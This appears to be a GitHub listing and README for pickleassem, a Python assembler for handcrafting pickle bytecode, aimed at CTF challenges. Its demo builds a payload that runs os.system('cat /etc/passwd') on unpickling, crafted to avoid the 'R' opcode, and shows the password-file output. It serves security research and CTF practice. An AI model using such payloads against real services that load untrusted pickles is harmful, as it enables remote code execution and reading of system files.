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https://github.com/gousaiyang/pickleassem

A simple pickle assembler to make handcrafting pickle bytecode easier.
https://github.com/gousaiyang/pickleassem

assembler bytecode ctf exploit pickle security security-tools

Last synced: 3 days ago
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A simple pickle assembler to make handcrafting pickle bytecode easier.

Host: GitHub
URL: https://github.com/gousaiyang/pickleassem
Owner: gousaiyang
License: mit
Created: 2019-12-19T22:14:06.000Z (almost 5 years ago)
Default Branch: master
Last Pushed: 2021-04-16T00:36:55.000Z (over 3 years ago)
Last Synced: 2024-08-10T10:27:49.227Z (about 2 months ago)
Topics: assembler, bytecode, ctf, exploit, pickle, security, security-tools
Language: Python
Size: 42 KB
Stars: 16
Watchers: 1
Forks: 0
Open Issues: 0
Metadata Files:
- Readme: README.md
- License: LICENSE.txt

Awesome Lists containing this project

README

        # pickleassem

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A simple pickle assembler to make handcrafting pickle bytecode easier.

This is useful for CTF challenges like [pyshv in Balsn CTF 2019](https://ctftime.org/task/9386).

## Demo

```python

import pickle

import pickletools

from pickleassem import PickleAssembler

pa = PickleAssembler(proto=4)

pa.push_mark()

pa.util_push('cat /etc/passwd')

pa.build_inst('os', 'system')

payload = pa.assemble()

assert b'R' not in payload

print(payload)

pickletools.dis(payload, annotate=1)

pickle.loads(payload)

```

Output:

```

b'\x80\x04(\x8c\x0fcat /etc/passwdios\nsystem\n.'

    0: \x80 PROTO      4 Protocol version indicator.

    2: (    MARK         Push markobject onto the stack.

    3: \x8c     SHORT_BINUNICODE 'cat /etc/passwd' Push a Python Unicode string object.

   20: i        INST       'os system' (MARK at 2) Build a class instance.

   31: .    STOP                                   Stop the unpickling machine.

highest protocol among opcodes = 4

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

...

```

## Installation

Install with pip: `pip install -U pickleassem`

## Documentation

Just refer to the source code. Each method of `PickleAssembler` whose name begins with `push`, `build`, `pop` or `memo` corresponds to a pickle opcode. Methods whose name begins with `util` are higher-level utility functions. `append_raw` can be used to insert arbitrary raw opcode.

The following opcodes and corresponding features are not implemented: `PERSID`, `BINPERSID`, `EXT1`, `EXT2`, `EXT4`, `FRAME`, `NEXT_BUFFER`, `READONLY_BUFFER`.

## See Also

Other tools for pickle exploit:

- `anapickle`: [slides](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf), [repo](https://github.com/sensepost/anapickle)

- [`pwnypack.pickle`](https://github.com/edibledinos/pwnypack/blob/master/pwnypack/pickle.py)